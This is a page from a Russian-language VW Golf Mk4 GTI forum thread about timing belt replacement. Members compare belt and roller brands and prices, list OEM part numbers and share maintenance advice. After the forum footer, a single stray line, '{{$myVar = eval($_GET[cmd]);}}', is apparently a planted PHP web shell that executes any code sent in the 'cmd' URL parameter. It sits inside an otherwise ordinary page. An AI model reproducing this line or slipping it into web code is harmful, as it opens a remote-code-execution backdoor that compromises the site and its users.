+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя
Показано с 21 по 30 из 36

Тема: ГРМ


  1. #21
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Цитата Сообщение от mas1er Посмотреть сообщение
    что такое вип?
    наверно не вип

    п.с. как относитесь к продукции Gates?
    Gates ремни нормальные делать, но у них есть комплекты не полные, по поводу ГРМ, у меня есть оба варианта на твой мотор и оригинал и нет, надо смотреть по вину

  2. #22
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    просто думаю как лучше
    вот разброс по ремням
    VAG 1635,19р.
    Gates 997,20р
    Contitech 817,44р.
    ролик
    VAG 2400,53р.
    Gates 2080,38р.

    есть ли смысл брать оригинал, если откроешь а там засада =))
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  3. #23
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Цитата Сообщение от mas1er Посмотреть сообщение
    просто думаю как лучше
    вот разброс по ремням
    VAG 1635,19р.
    Gates 997,20р
    Contitech 817,44р.
    ролик
    VAG 2400,53р.
    Gates 2080,38р.

    есть ли смысл брать оригинал, если откроешь а там засада =))
    Комплект через меня будет стоить 4052 оригинал, рувиль 3843 примерно и смысл какой брать его? лучше тоды оригинал

  4. #24
    GTI-Racing Танкист is on a distinguished road Аватар для Танкист
    Регистрация
    18.03.2008
    Откуда
    Край Краснодарский
    Машина
    GOLF 4 GTI
    Сообщений
    598
    mas1er привет.
    На северной есть магазин там Ливанцы работают, так вот там много всего в наличии по ХОРОШИМ ценам! Заедь выбери, что надо и купи! Думаю будем интересней чем экзист.

    З.Ы. У меня помпа развалилась на 58т.км заменил! Купил у Ливанцев и ремень и ролики... Ремень менять не стал т.к. стоит оригинал и выглядит отлично! заменю на 90 т.км.

  5. #25
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    в магазе мне сказали, что в оригинале ставят ролик фирмы INA. так ли это, и что вообще за фирма 1 раз слышу. как она?!
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  6. #26
    GTI-Racing Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Pavlo is a jewel in the rough Аватар для Pavlo
    Регистрация
    16.07.2009
    Откуда
    Москва
    Машина
    Mk4 GTI '99, Passat CC DSG '11
    Сообщений
    1,073
    Возможно и INA, не исключено, а фирма известная довольно таки, она занимаеться приемущественно подшипниками

  7. #27
    GTI-Racing est is on a distinguished road Аватар для est
    Регистрация
    18.07.2008
    Машина
    AUM
    Сообщений
    91
    mas1er, я поставил себе:
    1. Pемень зубчатый 06В 109 119А (5);
    2. Pолик натяжителя 06В 109 243F (8);
    3. Гидронатяжитель 06В 109 477 (9);
    4. Помпа Hepu.
    Коробочки не вскрывал. 2 500 км полет нормальный:)

  8. #28
    GTI-Racing mas1er is on a distinguished road Аватар для mas1er
    Регистрация
    08.09.2006
    Откуда
    Краснодар
    Машина
    mk4
    Сообщений
    1,405
    а есть ли смысл менять весь гидронатяжитель, или можно только обводной ролик, который на нем (№11) - 06B 109 244
    ?! или его вообще не трогать
    в ремкомплекте только ремень и ролик натяжной или еще и обводной.
    просто хочется поменять по регламенту, не меняя вещей которые не надо трогать и отслужат еще столько-же тем более оригинал
    '02mk4 GTi st1 * Forge007 DV * WEITEC coilovers * 312 * R32 sway bar продан
    '12mk6 GTi MT APR * Carbonio intake * Neuspeed Turbo Outlet pipe * Eibach Sportline

  9. #29
    GTI-Racing est is on a distinguished road Аватар для est
    Регистрация
    18.07.2008
    Машина
    AUM
    Сообщений
    91
    Цитата Сообщение от mas1er Посмотреть сообщение
    а есть ли смысл менять весь гидронатяжитель, или можно только обводной ролик, который на нем (№11) - 06B 109 244
    ?! или его вообще не трогать
    в ремкомплекте только ремень и ролик натяжной или еще и обводной.
    просто хочется поменять по регламенту, не меняя вещей которые не надо трогать и отслужат еще столько-же тем более оригинал
    Ты знаешь, я решил не париться и поменять гидронатяжитель. Не такая уж и большая разница по деньгам получается.
    А какой у тебя пробег сейчас и на каком пробеге менялся (или еще нет) ГРМ?

  10. #30
    На замене грм - как правило не экономят !!! Ремонт просто головки потом обойдеться не меньше 5000 р , еще сюда можно многое добавить и список может вырасти до 25 тыс рэ свободно !!! Думать надо всегда !!!

+ Ответить в теме
Страница 3 из 4 ПерваяПервая 1 2 3 4 ПоследняяПоследняя

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}